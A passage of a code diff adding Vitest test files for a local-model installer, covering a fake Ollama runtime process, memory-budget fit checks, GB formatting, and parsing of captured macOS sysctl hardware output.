+      await execFileAsync('tar', ['-xzf', archive, '-C', dir]);
+      expect(await readFile(join(dir, 'LICENSE'), 'utf8')).toBe('text\n');
+      expect((await stat(join(dir, 'ollama'))).mode & 0o111).not.toBe(0);
+      expect((await execFileAsync(join(dir, 'ollama'))).stdout).toBe('hello\n');
+    } finally {
+      await rm(dir, { recursive: true, force: true });
+    }
+  });
+});
+
+describe('the fake runtime: the child process', () => {
+  it('holds the real log lines with the device total', () => {
+    expect(REAL_INFERENCE_COMPUTE_LINE_MAC_MINI).toContain('total="11.8 GiB" available="11.8 GiB"');
+    expect(INFERENCE_COMPUTE_LINE_MACBOOK).toContain('total="37.4 GiB" available="37.4 GiB"');
+    expect(MACBOOK_MEASURED_TOTAL_BYTES).toBe(Math.floor(37.4 * 1024 ** 3));
+    expect(fakeRuntimeLog('37.4 GiB')[2]).toContain('msg="inference compute"');
+  });
+
+  it('listens on the port of OLLAMA_HOST once spawned, logs the budget, and is gone when killed', async () => {
+    const port = await freeLoopbackPort();
+    fake = createFakeOllama({ installed: true });
+    expect(fake.listening).toBe(false);
+
+    const child = fake.spawn('/somewhere/ollama', ['serve'], {
+      env: { OLLAMA_HOST: `127.0.0.1:${port}`, HOME: '/private/home' },
+    }) as unknown as FakeRuntimeChild;
+    let log = '';
+    child.stderr.on('data', (chunk: Buffer) => (log += chunk.toString('utf8')));
+    await new Promise((resolve) => setTimeout(resolve, 50));
+
+    expect(child.pid).toBeGreaterThan(4_194_304);
+    expect(child.env.HOME).toBe('/private/home');
+    expect(fake.port).toBe(port);
+    expect(await getJson(fake, '/api/version')).toEqual({ version: '0.40.15' });
+    expect(log).toContain('msg="inference compute"');
+    expect(log).toContain('total="37.4 GiB"');
+
+    const exited = new Promise<[number | null, string | null]>((resolve) =>
+      child.once('exit', (code, signal) => resolve([code, signal]))
+    );
+    expect(child.kill('SIGTERM')).toBe(true);
+    expect(await exited).toEqual([null, 'SIGTERM']);
+    expect(fake.listening).toBe(false);
+    await expect(fetch(`http://127.0.0.1:${port}/api/version`)).rejects.toThrow();
+    expect(fake.state.children).toEqual([child]);
+  });
+
+  it('can start without ever listening, exit at once, leave the budget out, or crash later', async () => {
+    const port = await freeLoopbackPort();
+    const env = { OLLAMA_HOST: `127.0.0.1:${port}` };
+
+    fake = createFakeOllama({ spawn: { neverListens: true, logsBudget: false } });
+    const silent = fake.spawn('ollama', ['serve'], { env }) as unknown as FakeRuntimeChild;
+    let log = '';
+    silent.stderr.on('data', (chunk: Buffer) => (log += chunk.toString('utf8')));
+    await new Promise((resolve) => setTimeout(resolve, 30));
+    expect(fake.listening).toBe(false);
+    expect(log).toContain('Listening on');
+    expect(log).not.toContain('inference compute');
+
+    fake.switches.spawn = { neverListens: false, exitsAtOnce: 2, total: '37.4 GiB', logsBudget: true };
+    const dead = fake.spawn('ollama', ['serve'], { env }) as unknown as FakeRuntimeChild;
+    const code = await new Promise((resolve) => dead.once('exit', resolve));
+    expect(code).toBe(2);
+
+    fake.switches.spawn.exitsAtOnce = undefined;
+    const alive = fake.spawn('ollama', ['serve'], { env }) as unknown as FakeRuntimeChild;
+    await new Promise((resolve) => setTimeout(resolve, 30));
+    expect(fake.listening).toBe(true);
+    const crashed = new Promise((resolve) => alive.once('exit', resolve));
+    alive.crash(137);
+    expect(await crashed).toBe(137);
+    expect(fake.listening).toBe(false);
+  });
+});

test/local-model-fits-budget.test.ts

@@ -0,0 +1,136 @@
+/**
+ * @fileoverview Tests for `modelFitsBudget()` of src/local-model/recommend.ts: the judgement
+ * the install job makes before it downloads a model.
+ *
+ * Pinned: it agrees with what `recommend()` offers (a model that is the pick or listed fits,
+ * a model that is in neither and is not left out for its rank does not), it does not depend
+ * on the ranking, a model the catalogue does not have never fits, and it judges against the
+ * budget the runtime measured when the caller passes one (the whole point of asking again
+ * after the runtime started).
+ *
+ * Port: N/A (pure functions).
+ */
+
+import { describe, expect, it } from 'vitest';
+import { getLocalModelCatalog } from '../src/config/local-model-catalog.js';
+import { formatGb, memClassGb } from '../src/local-model/format.js';
+import { modelFitsBudget, recommend } from '../src/local-model/recommend.js';
+import type { HardwareFacts, HarnessFact } from '../src/types.js';
+
+/** A Mac with Apple silicon and `gb` GB of memory as sold. */
+function mac(gb: number, chip = 'Apple M5 Pro'): HardwareFacts {
+  const memBytes = gb * 1024 ** 3;
+  return {
+    platform: 'darwin',
+    arch: 'arm64',
+    arm64: true,
+    translated: false,
+    memBytes,
+    memGb: formatGb(memBytes),
+    memClassGb: memClassGb(memBytes),
+    chip,
+    macosMajor: 27,
+    macosVersion: '27.2',
+    wiredLimitMb: 0,
+    source: 'sysctl',
+  };
+}
+
+/** Every harness of the catalogue, installed and accepting every model id. */
+function harnessFacts(): HarnessFact[] {
+  return getLocalModelCatalog().harnesses.map((row) => ({
+    cli: row.cli,
+    label: row.cli,
+    installed: true,
+    installable: false,
+    acceptsModelId: () => true,
+  }));
+}
+
+describe('modelFitsBudget', () => {
+  const catalog = getLocalModelCatalog();
+
+  it('agrees with the recommendation on every model and context of the catalogue', () => {
+    for (const gb of [8, 16, 24, 32, 48, 64, 128]) {
+      const hw = mac(gb);
+      const offered = recommend(hw, catalog, harnessFacts());
+      const rows = [offered.pick, ...offered.alternatives].filter((row) => row !== undefined);
+      // Whatever the recommendation offers fits at the context it offers it at.
+      for (const row of rows) {
+        expect(modelFitsBudget(hw, catalog, row.modelId, row.context), `${gb} GB ${row.modelId}`).toBe(true);
+      }
+      // A Mac that gets no recommendation for lack of memory has no model that fits at a
+      // context a harness works at.
+      if (offered.verdict === 'none') {
+        const smallestHarnessContext = Math.min(...catalog.harnesses.filter((h) => !h.gated).map((h) => h.minContext));
+        for (const model of catalog.models) {
+          for (const context of model.contexts.filter((ctx) => ctx >= smallestHarnessContext)) {
+            expect(modelFitsBudget(hw, catalog, model.id, context), `${gb} GB ${model.id}`).toBe(false);
+          }
+        }
+      }
+    }
+  });
+
+  it('does not depend on the ranking: a model that fits and is listed nowhere still fits', () => {
+    // On a 128 GB Mac more models fit than the recommendation lists.
+    const hw = mac(128, 'Apple M5 Max');
+    const offered = recommend(hw, catalog, harnessFacts());
+    const listed = new Set([offered.pick, ...offered.alternatives].map((row) => row?.modelId));
+    const unlisted = catalog.models.filter((model) => !listed.has(model.id));
+    expect(unlisted.length).toBeGreaterThan(0);
+    for (const model of unlisted) {
+      expect(modelFitsBudget(hw, catalog, model.id, model.contexts.at(-1) as number), model.id).toBe(true);
+    }
+  });
+
+  it('rules out a model that is too large, and one the catalogue does not have', () => {
+    expect(modelFitsBudget(mac(48), catalog, 'qwen3.5:122b-a10b', 131072)).toBe(false);
+    expect(modelFitsBudget(mac(48), catalog, 'no-such:1b', 65536)).toBe(false);
+    expect(modelFitsBudget(mac(48), catalog, 'qwen3.6:35b-a3b', 131072)).toBe(true);
+  });
+
+  it('judges against the budget the runtime measured, when it is given one', () => {
+    const id = 'qwen3.6:35b-a3b';
+    // The MacBook: the runtime reported 37.4 GiB, and the model needs 36.0 of those 40.2 GB.
+    expect(modelFitsBudget(mac(48), catalog, id, 131072, { measuredTotalBytes: 40_157_944_217 })).toBe(true);
+    // A runtime that reports less than the estimate rules out what the estimate allowed.
+    expect(modelFitsBudget(mac(48), catalog, id, 131072, { measuredTotalBytes: 33 * 1024 ** 3 })).toBe(false);
+    // And one that reports more admits what the estimate ruled out: the 27B on a 36 GB Mac.
+    expect(modelFitsBudget(mac(36), catalog, 'qwen3.8:27b', 65536)).toBe(false);
+    expect(modelFitsBudget(mac(36), catalog, 'qwen3.8:27b', 65536, { measuredTotalBytes: 27 * 1024 ** 3 })).toBe(true);
+    // The reserve still bounds it: 100 GiB "measured" on a 48 GB Mac is 40 GiB (42.9 GB) of
+    // budget, so the Q8 27B with its 42.8 GB stays out (0.997) although 100 GiB would hold it.
+    const huge = { measuredTotalBytes: 100 * 1024 ** 3 };
+    expect(modelFitsBudget(mac(48), catalog, 'qwen3.8:27b-q8_0', 131072, huge)).toBe(false);
+    expect(modelFitsBudget(mac(128), catalog, 'qwen3.8:27b-q8_0', 131072, huge)).toBe(true);
+  });
+
+  it('agrees with the recommendation under a measured budget too', () => {
+    for (const [gb, measuredGib] of [
+      [16, 11.8],
+      [32, 20],
+      [48, 37.4],
+      [48, 30],
+      [64, 50],
+    ]) {
+      const hw = mac(gb);
+      const options = { measuredTotalBytes: Math.floor(measuredGib * 1024 ** 3) };
+      const offered = recommend(hw, catalog, harnessFacts(), options);
+      expect(offered.verdict === 'none' || offered.budgetSource === 'measured').toBe(true);
+      for (const row of [offered.pick, ...offered.alternatives].filter((entry) => entry !== undefined)) {
+        expect(modelFitsBudget(hw, catalog, row.modelId, row.context, options), `${gb} GB ${row.modelId}`).toBe(true);
+        // The next larger context of the same model does not fit, or the row would be at it.
+        const model = catalog.models.find((entry) => entry.id === row.modelId);
+        const larger = model?.contexts.filter((ctx) => ctx > row.context) ?? [];
+        for (const ctx of larger) expect(modelFitsBudget(hw, catalog, row.modelId, ctx, options)).toBe(false);
+      }
+    }
+  });
+
+  it('is false for a context that is no token count', () => {
+    for (const context of [0, -1, Number.NaN, Number.POSITIVE_INFINITY]) {
+      expect(modelFitsBudget(mac(128), catalog, 'qwen3.5:9b', context), String(context)).toBe(false);
+    }
+  });
+});

test/local-model-format.test.ts

@@ -0,0 +1,86 @@
+/**
+ * @fileoverview Tests for src/local-model/format.ts: the ONE place a byte count becomes a size a
+ * person reads, and the memory class a Mac is sold as.
+ *
+ * What is pinned here is a contract with the browser: it prints the text it was sent and adds
+ * ' GB' itself, so the text must be decimal GB, carry no unit, and round the same way everywhere.
+ *
+ * Port: N/A (pure functions).
+ */
+
+import { describe, expect, it } from 'vitest';
+import { formatGb, GB, GIB, memClassGb, MIB } from '../src/local-model/format.js';
+
+describe('byte units', () => {
+  it('keeps decimal GB (what a person reads) apart from the binary units of the budget math', () => {
+    expect(GB).toBe(1_000_000_000);
+    expect(GIB).toBe(1_073_741_824);
+    expect(MIB).toBe(1_048_576);
+  });
+});
+
+describe('formatGb', () => {
+  it('prints decimal GB, so a Mac sold as 16 GB reads 17.2 and one sold as 48 GB reads 51.5', () => {
+    expect(formatGb(17_179_869_184)).toBe('17.2');
+    expect(formatGb(51_539_607_552)).toBe('51.5');
+  });
+
+  it('prints the registry sizes of the catalogue models as the registry shows them', () => {
+    expect(formatGb(6_550_825_373)).toBe('6.6');
+    expect(formatGb(13_793_441_427)).toBe('13.8');
+    expect(formatGb(17_741_871_939)).toBe('17.7');
+    expect(formatGb(22_621_314_161)).toBe('22.6');
+    expect(formatGb(81_370_035_877)).toBe('81.4');
+  });
+
+  it('keeps one decimal below 100 and none from 100', () => {
+    expect(formatGb(1 * GB)).toBe('1.0');
+    expect(formatGb(99.94 * GB)).toBe('99.9');
+    // Rounds to 100.0, which is already "from 100".
+    expect(formatGb(99.96 * GB)).toBe('100');
+    expect(formatGb(100 * GB)).toBe('100');
+    // The free disk of the two test Macs, from their `df -k` lines.
+    expect(formatGb(890_926_084 * 1024)).toBe('912');
+    expect(formatGb(41_752_848 * 1024)).toBe('42.8');
+  });
+
+  it('never prints a unit, a thousands separator or an exponent', () => {
+    for (const bytes of [1, 5 * MIB, 3 * GIB, 250 * GB, 4000 * GB, 2.5e15]) {
+      expect(formatGb(bytes)).toMatch(/^\d+(\.\d)?$/);
+    }
+  });
+
+  it("reads '0.0' for anything that is not a positive size", () => {
+    for (const bytes of [0, -1, -5 * GB, Number.NaN, Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY]) {
+      expect(formatGb(bytes)).toBe('0.0');
+    }
+  });
+
+  it('shows a size too small for one decimal as 0.0, never as an empty text', () => {
+    expect(formatGb(10 * MIB)).toBe('0.0');
+    expect(formatGb(512 * MIB)).toBe('0.5');
+  });
+});
+
+describe('memClassGb', () => {
+  it('names the size a Mac is sold as: whole binary gigabytes', () => {
+    for (const sold of [8, 16, 18, 24, 32, 36, 48, 64, 96, 128, 192]) {
+      expect(memClassGb(sold * GIB)).toBe(sold);
+    }
+    // The exact `hw.memsize` of the two test Macs.
+    expect(memClassGb(17_179_869_184)).toBe(16);
+    expect(memClassGb(51_539_607_552)).toBe(48);
+  });
+
+  it('rounds a size that is not a whole number of gigabytes', () => {
+    // `hw.memsize_usable` of the 16 GB test Mac is a little below 16 GiB.
+    expect(memClassGb(16_631_808_000)).toBe(15);
+    expect(memClassGb(16 * GIB - 100 * MIB)).toBe(16);
+  });
+
+  it('reads 0 for anything that is not a positive size', () => {
+    for (const bytes of [0, -1, Number.NaN, Number.POSITIVE_INFINITY]) {
+      expect(memClassGb(bytes)).toBe(0);
+    }
+  });
+});

test/local-model-hardware.test.ts

@@ -0,0 +1,749 @@
+/**
+ * @fileoverview Tests for src/local-model/hardware.ts: the probe that tells the recommendation
+ * what this Mac is.
+ *
+ * Two halves, mirroring the module:
+ *
+ * 1. `parseSysctl()`, pure. Fed the REAL output of the probe command on the two test Macs (a
+ *    MacBook Pro with an M5 Pro and 48 GB, a Mac mini with an M4 and 16 GB), copied here
+ *    character for character with the extra lines the capture holds, plus an Intel-shaped
+ *    output (three of the seven keys do not exist there) and outputs cut off mid-line.
+ * 2. `readHardware()`, with every piece of IO injected: nothing is spawned and no real disk is
+ *    read. What is pinned: a failed spawn is an ANSWER (the `os-fallback` shape), nothing is
+ *    spawned off macOS, the result is cached for 60 s and concurrent callers share one probe.
+ *
+ * The IO itself is tested apart, against things this suite controls:
+ *
+ * 3. `spawnSysctl()` runs a small shell script of the test in place of sysctl. That proves what
+ *    a fake cannot: the arguments are the seven keys and nothing else, the output of a program
+ *    that exits 1 is still read (an Intel Mac lacks three keys, so sysctl exits 1 there), a
+ *    program that hangs is given up on, and the server's environment is not handed over.
+ * 4. `dataDirFreeBytes()` with injected probes: a folder that does not exist yet, a mount that
+ *    does not answer, and a `statfs` that never comes back, which must not be started twice.
+ *
+ * One test at the end runs the real defaults once (the real spawn and the real `statfs`), to
+ * prove they cannot reject on whatever machine runs the suite. On Linux `sysctl` knows none of
+ * the keys, so that run ends in the fallback; on a Mac it ends in a real answer. Both are fine.
+ *
+ * Port: N/A (no server).
+ */
+
+import { mkdtempSync, rmSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { isAbsolute, join } from 'node:path';
+import { afterEach, beforeEach, describe, expect, it } from 'vitest';
+import {
+  dataDirFreeBytes,
+  FREE_DISK_TIMEOUT_MS,
+  freeDiskBytesOf,
+  HARDWARE_CACHE_TTL_MS,
+  parseSysctl,
+  readHardware,
+  resetHardwareCache,
+  spawnSysctl,
+  SYSCTL_KEYS,
+  SYSCTL_PATH,
+  SYSCTL_TIMEOUT_MS,
+  type HardwareProbeDeps,
+} from '../src/local-model/hardware.js';
+
+/**
+ * The capture of the MacBook Pro (Mac17,13), 2026-11-06. The last four lines are not part of
+ * the probe: two extra keys the capture asked for, the shell's exit status and a `df -k` line.
+ */
+const MACBOOK_SYSCTL = `hw.memsize: 51539607552
+machdep.cpu.brand_string: Apple M5 Pro
+hw.optional.arm64: 1
+sysctl.proc_translated: 0
+iogpu.wired_limit_mb: 0
+kern.osproductversion: 27.2
+hw.model: Mac17,13
+hw.perflevel0.physicalcpu: 6
+hw.perflevel1.physicalcpu: 12
+exit=0
+/dev/disk3s5   971094180 54383564 890926084     6%  542146 8909260840    0%   /System/Volumes/Data
+`;
+
+/** The capture of the Mac mini (Mac16,10), 2026-11-06, with the same four extra lines. */
+const MACMINI_SYSCTL = `hw.memsize: 17179869184
+machdep.cpu.brand_string: Apple M4
+hw.optional.arm64: 1
+sysctl.proc_translated: 0
+iogpu.wired_limit_mb: 0
+kern.osproductversion: 27.2
+hw.model: Mac16,10
+hw.perflevel0.physicalcpu: 4
+hw.perflevel1.physicalcpu: 6
+exit=0
+/dev/disk3s5   239362496 172954124  41752848    81% 2353838 417528480    1%   /System/Volumes/Data
+`;
+
+/** Free disk of the two Macs: the "available" column of their `df -k` lines, in bytes. */
+const MACBOOK_FREE_DISK = 890_926_084 * 1024;
+const MACMINI_FREE_DISK = 41_752_848 * 1024;
+
+/**
+ * What an Intel Mac prints: `hw.optional.arm64`, `sysctl.proc_translated` and
+ * `iogpu.wired_limit_mb` do not exist there, so sysctl leaves their lines out (and exits 1).
+ * NOT a capture: no Intel Mac was available, the shape is recalled.
+ */
+const INTEL_SYSCTL = `hw.memsize: 17179869184
+machdep.cpu.brand_string: Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz
+kern.osproductversion: 13.6.7
+hw.model: MacBookPro15,1
+`;
+
+/** Deps that spawn nothing and read no disk. A test overrides what it is about. */
+function deps(overrides: HardwareProbeDeps = {}): HardwareProbeDeps {
+  return {
+    platform: 'darwin',
+    arch: 'arm64',
+    runSysctl: async () => MACMINI_SYSCTL,
+    freeDiskBytes: async () => MACMINI_FREE_DISK,
+    totalMemBytes: () => 8 * 1024 ** 3,
+    cpuModel: () => 'Fallback CPU',
+    now: () => 1_000_000,
+    ...overrides,
+  };
+}
+
+beforeEach(() => {
+  resetHardwareCache();
+});
+
+afterEach(() => {
+  resetHardwareCache();
+});
+
+describe('the probe command', () => {
+  it('is an absolute path and asks for exactly the seven keys, never with -n', () => {
+    expect(isAbsolute(SYSCTL_PATH)).toBe(true);
+    expect(SYSCTL_PATH).toBe('/usr/sbin/sysctl');
+    expect([...SYSCTL_KEYS]).toEqual([
+      'hw.memsize',
+      'machdep.cpu.brand_string',
+      'hw.optional.arm64',
+      'sysctl.proc_translated',
+      'iogpu.wired_limit_mb',
+      'kern.osproductversion',
+      'hw.model',
+    ]);
+    // Every argument is a key name. `-n` would print bare values, and a key missing on a
+    // machine would then shift every value after it onto the wrong key.
+    for (const key of SYSCTL_KEYS) expect(key).toMatch(/^[a-z][a-z0-9_.]*$/);
+  });
+
+  it('is bounded, and its result is reused for 60 seconds', () => {
+    expect(SYSCTL_TIMEOUT_MS).toBe(2000);
+    expect(HARDWARE_CACHE_TTL_MS).toBe(60_000);
+  });
+});
+
+describe('parseSysctl on the two real Macs', () => {
+  it('reads the MacBook Pro: M5 Pro, 48 GB, macOS 27.2, no wired limit set', () => {
+    expect(parseSysctl(MACBOOK_SYSCTL)).toEqual({
+      memBytes: 51_539_607_552,
+      chip: 'Apple M5 Pro',
+      arm64: true,
+      translated: false,
+      wiredLimitMb: 0,
+      macosVersion: '27.2',
+      macosMajor: 27,
+      model: 'Mac17,13',
+    });
+  });
+
+  it('reads the Mac mini: M4, 16 GB, macOS 27.2, no wired limit set', () => {
+    expect(parseSysctl(MACMINI_SYSCTL)).toEqual({
+      memBytes: 17_179_869_184,
+      chip: 'Apple M4',
+      arm64: true,
+      translated: false,
+      wiredLimitMb: 0,
+      macosVersion: '27.2',
+      macosMajor: 27,
+      model: 'Mac16,10',
+    });
+  });
+
+  it('skips the lines it does not know: other keys, the exit status, the df line', () => {
+    const facts = parseSysctl(MACMINI_SYSCTL);
+    expect(Object.keys(facts).sort()).toEqual(
+      ['arm64', 'chip', 'macosMajor', 'macosVersion', 'memBytes', 'model', 'translated', 'wiredLimitMb'].sort()
+    );
+  });
+
+  it('reports a wired limit of 0 as 0 (not set), and a set one as its number', () => {
+    expect(parseSysctl(MACMINI_SYSCTL).wiredLimitMb).toBe(0);
+    expect(parseSysctl('iogpu.wired_limit_mb: 14000\n').wiredLimitMb).toBe(14000);
+  });
+});
+
+describe('parseSysctl on other shapes', () => {
+  it('reads an Intel Mac, whose output lacks three of the keys, without shifting a value', () => {
+    expect(parseSysctl(INTEL_SYSCTL)).toEqual({
+      memBytes: 17_179_869_184,
+      chip: 'Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz',
+      macosVersion: '13.6.7',
+      macosMajor: 13,
+      model: 'MacBookPro15,1',
+    });
+  });
+
+  it('reads an Intel Mac that does print the arm64 flag, as 0', () => {
+    const facts = parseSysctl(`hw.optional.arm64: 0\n${INTEL_SYSCTL}`);
+    expect(facts.arm64).toBe(false);
+    expect(facts.translated).toBeUndefined();
+  });
+
+  it('reads a process under Rosetta: the machine is arm64 and the process is translated', () => {
+    const facts = parseSysctl(MACMINI_SYSCTL.replace('sysctl.proc_translated: 0', 'sysctl.proc_translated: 1'));
+    expect(facts.arm64).toBe(true);
+    expect(facts.translated).toBe(true);
+  });
+
+  it('drops a line that was cut off: a truncated output never yields half a value', () => {
+    // Cut in the middle of the chip name. The memory line before it is whole.
+    const cutInChip = 'hw.memsize: 17179869184\nmachdep.cpu.brand_string: Apple M';
+    expect(parseSysctl(cutInChip)).toEqual({ memBytes: 17_179_869_184 });
+
+    // Cut in the middle of the memory figure: '1717' would be a valid, wrong number.
+    expect(parseSysctl('hw.memsize: 1717')).toEqual({});
+
+    // Cut right after a whole line: everything up to there counts.
+    const cutAfterLine = MACMINI_SYSCTL.slice(0, MACMINI_SYSCTL.indexOf('hw.optional.arm64'));
+    expect(parseSysctl(cutAfterLine)).toEqual({ memBytes: 17_179_869_184, chip: 'Apple M4' });
+  });
+
+  it('reads nothing from an empty output or from error text', () => {
+    expect(parseSysctl('')).toEqual({});
+    expect(parseSysctl('\n\n')).toEqual({});
+    expect(
+      parseSysctl("sysctl: unknown oid 'hw.memsize'\nsysctl: cannot stat /proc/sys/hw/memsize: No such file\n")
+    ).toEqual({});
+  });
+
+  it('leaves out a value that does not parse instead of guessing', () => {
+    const facts = parseSysctl(
+      [
+        'hw.memsize: lots',
+        'machdep.cpu.brand_string: ',
+        'hw.optional.arm64: yes',
+        'sysctl.proc_translated: 2',
+        'iogpu.wired_limit_mb: -1',
+        'kern.osproductversion: Sequoia',
+        `hw.model: ${'x'.repeat(200)}`,
+        '',
+      ].join('\n')
+    );
+    expect(facts).toEqual({});
+  });
+
+  it('refuses a memory size of 0 or one too large to be a number of bytes', () => {
+    expect(parseSysctl('hw.memsize: 0\n').memBytes).toBeUndefined();
+    expect(parseSysctl('hw.memsize: 99999999999999999999999\n').memBytes).toBeUndefined();
+  });
+
+  it('accepts Windows line ends and padding, and the first line of a key wins', () => {
+    const facts = parseSysctl('hw.memsize:   17179869184  \r\nhw.model: Mac16,10\r\nhw.model: Other9,9\r\n');
+    expect(facts).toEqual({ memBytes: 17_179_869_184, model: 'Mac16,10' });
+  });
+
+  it('reads the macOS major version from one, two or three numbers', () => {
+    expect(parseSysctl('kern.osproductversion: 14\n')).toMatchObject({ macosVersion: '14', macosMajor: 14 });
+    expect(parseSysctl('kern.osproductversion: 15.7\n')).toMatchObject({ macosVersion: '15.7', macosMajor: 15 });
+    expect(parseSysctl('kern.osproductversion: 13.6.7\n')).toMatchObject({ macosVersion: '13.6.7', macosMajor: 13 });
+  });
+});
+
+describe('readHardware on the two real Macs', () => {
+  it('describes the MacBook Pro', async () => {
+    const hw = await readHardware(
+      deps({ runSysctl: async () => MACBOOK_SYSCTL, freeDiskBytes: async () => MACBOOK_FREE_DISK })
+    );
+    expect(hw).toEqual({
+      platform: 'darwin',
+      arch: 'arm64',
+      arm64: true,
+      translated: false,
+      memBytes: 51_539_607_552,
+      memGb: '51.5',
+      memClassGb: 48,
+      chip: 'Apple M5 Pro',
+      model: 'Mac17,13',
+      macosVersion: '27.2',
+      macosMajor: 27,
+      wiredLimitMb: 0,
+      freeDiskBytes: MACBOOK_FREE_DISK,
+      freeDiskGb: '912',
+      source: 'sysctl',
+    });
+  });
+
+  it('describes the Mac mini', async () => {
+    const hw = await readHardware(deps());
+    expect(hw).toEqual({
+      platform: 'darwin',
+      arch: 'arm64',
+      arm64: true,
+      translated: false,
+      memBytes: 17_179_869_184,
+      memGb: '17.2',
+      memClassGb: 16,
+      chip: 'Apple M4',
+      model: 'Mac16,10',
+      macosVersion: '27.2',
+      macosMajor: 27,
+      wiredLimitMb: 0,
+      freeDiskBytes: MACMINI_FREE_DISK,
+      freeDiskGb: '42.8',
+      source: 'sysctl',
+    });
+  });
+
+  it('is plain JSON: it survives a round trip unchanged', async () => {
+    const hw = await readHardware(deps());
+    expect(JSON.parse(JSON.stringify(hw))).toEqual(hw);
+  });
+
+  it('describes an Intel Mac from its shorter output: no arm64 flag, an x64 process', async () => {
+    const hw = await readHardware(deps({ arch: 'x64', runSysctl: async () => INTEL_SYSCTL }));
+    expect(hw.source).toBe('sysctl');
+    expect(hw.arch).toBe('x64');
+    expect(hw.chip).toBe('Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz');
+    expect(hw.macosMajor).toBe(13);
+    expect(hw).not.toHaveProperty('arm64');
+    expect(hw).not.toHaveProperty('translated');
+    expect(hw).not.toHaveProperty('wiredLimitMb');
+  });
+
+  it('takes the chip name from node:os when sysctl printed everything but that', async () => {
+    const hw = await readHardware(
+      deps({ runSysctl: async () => MACMINI_SYSCTL.replace('machdep.cpu.brand_string: Apple M4\n', '') })
+    );
+    expect(hw.source).toBe('sysctl');
+    expect(hw.chip).toBe('Fallback CPU');
+  });
+});
+
+describe('readHardware when the probe fails', () => {
+  it('answers from node:os when the spawn could not run or timed out', async () => {
+    const hw = await readHardware(
+      deps({
+        runSysctl: async () => undefined,
+        totalMemBytes: () => 34_359_738_368,
+        cpuModel: () => 'Apple M2 Max',
+      })
+    );
+    expect(hw).toEqual({
+      platform: 'darwin',
+      arch: 'arm64',
+      memBytes: 34_359_738_368,
+      memGb: '34.4',
+      memClassGb: 32,
+      chip: 'Apple M2 Max',
+      freeDiskBytes: MACMINI_FREE_DISK,
+      freeDiskGb: '42.8',
+      source: 'os-fallback',
+    });
+  });
+
+  it('never rejects when a dependency throws or rejects', async () => {
+    const hw = await readHardware(
+      deps({
+        runSysctl: () => Promise.reject(new Error('spawn EACCES')),
+        freeDiskBytes: () => {
+          throw new Error('statfs failed');
+        },
+        cpuModel: () => {
+          throw new Error('no cpus');
+        },
+      })
+    );
+    expect(hw.source).toBe('os-fallback');
+    expect(hw.memBytes).toBe(8 * 1024 ** 3);
+    expect(hw).not.toHaveProperty('chip');
+    expect(hw).not.toHaveProperty('freeDiskBytes');
+    expect(hw).not.toHaveProperty('freeDiskGb');
+  });
+
+  it('still answers when even the memory size cannot be read', async () => {
+    const hw = await readHardware(
+      deps({
+        runSysctl: async () => undefined,
+        totalMemBytes: () => {
+          throw new Error('no memory figure');
+        },
+      })
+    );
+    expect(hw).toMatchObject({ source: 'os-fallback', memBytes: 0, memGb: '0.0', memClassGb: 0 });
+  });
+
+  it('trusts nothing of an output that has no memory size', async () => {
+    // A truncated or foreign output: the chip and version lines are whole, hw.memsize is not there.
+    const withoutMemory = MACMINI_SYSCTL.replace('hw.memsize: 17179869184\n', '');
+    const hw = await readHardware(deps({ runSysctl: async () => withoutMemory }));
+    expect(hw.source).toBe('os-fallback');
+    expect(hw.memBytes).toBe(8 * 1024 ** 3);
+    expect(hw.chip).toBe('Fallback CPU');
+    expect(hw).not.toHaveProperty('macosVersion');
+    expect(hw).not.toHaveProperty('macosMajor');
+    expect(hw).not.toHaveProperty('model');
+    expect(hw).not.toHaveProperty('wiredLimitMb');
+    expect(hw).not.toHaveProperty('arm64');
+  });
+
+  it('falls back when the output was cut off inside the memory figure', async () => {
+    const hw = await readHardware(deps({ runSysctl: async () => 'hw.memsize: 1717' }));
+    expect(hw.source).toBe('os-fallback');
+    expect(hw.memBytes).toBe(8 * 1024 ** 3);
+  });
+
+  it('leaves the free disk out when it is unknown, and keeps the rest', async () => {
+    const hw = await readHardware(deps({ freeDiskBytes: async () => undefined }));
+    expect(hw.source).toBe('sysctl');
+    expect(hw).not.toHaveProperty('freeDiskBytes');
+    expect(hw).not.toHaveProperty('freeDiskGb');
+  });
+
+  it('reports a full disk as 0 bytes free, which is a figure and not "unknown"', async () => {
+    const hw = await readHardware(deps({ freeDiskBytes: async () => 0 }));
+    expect(hw.freeDiskBytes).toBe(0);
+    expect(hw.freeDiskGb).toBe('0.0');
+  });
+});
+
+describe('readHardware off macOS', () => {
+  it('spawns nothing and reads no disk', async () => {
+    let spawned = 0;
+    let diskRead = 0;
+    const hw = await readHardware(
+      deps({
+        platform: 'linux',
+        arch: 'x64',
+        runSysctl: async () => {
+          spawned++;
+          return MACMINI_SYSCTL;
+        },
+        freeDiskBytes: async () => {
+          diskRead++;
+          return 1;
+        },
+        totalMemBytes: () => 67_430_023_168,
+      })
+    );
+    expect(spawned).toBe(0);
+    expect(diskRead).toBe(0);
+    expect(hw).toEqual({
+      platform: 'linux',
+      arch: 'x64',
+      memBytes: 67_430_023_168,
+      memGb: '67.4',
+      memClassGb: 63,
+      source: 'not-probed',
+    });
+  });
+});
+
+describe('the cache of readHardware', () => {
+  it('reuses one result for 60 seconds, then probes again', async () => {
+    let clock = 5_000_000;
+    let spawned = 0;
+    const counting = deps({
+      now: () => clock,
+      runSysctl: async () => {
+        spawned++;
+        return spawned === 1 ? MACMINI_SYSCTL : MACBOOK_SYSCTL;
+      },
+    });
+
+    const first = await readHardware(counting);
+    clock += HARDWARE_CACHE_TTL_MS - 1;
+    const second = await readHardware(counting);
+    expect(spawned).toBe(1);
+    expect(second).toBe(first);
+
+    clock += 1;
+    const third = await readHardware(counting);
+    expect(spawned).toBe(2);
+    expect(third.chip).toBe('Apple M5 Pro');
+  });
+
+  it('caches a failed probe too: a broken sysctl is not spawned on every request', async () => {
+    let spawned = 0;
+    const failing = deps({
+      runSysctl: async () => {
+        spawned++;
+        return undefined;
+      },
+    });
+    expect((await readHardware(failing)).source).toBe('os-fallback');
+    expect((await readHardware(failing)).source).toBe('os-fallback');
+    expect(spawned).toBe(1);
+  });
+
+  it('lets concurrent callers share one probe', async () => {
+    let spawned = 0;
+    let release: (text: string) => void = () => {};
+    const slow = deps({
+      runSysctl: () => {
+        spawned++;
+        return new Promise<string>((resolve) => {
+          release = resolve;
+        });
+      },
+    });
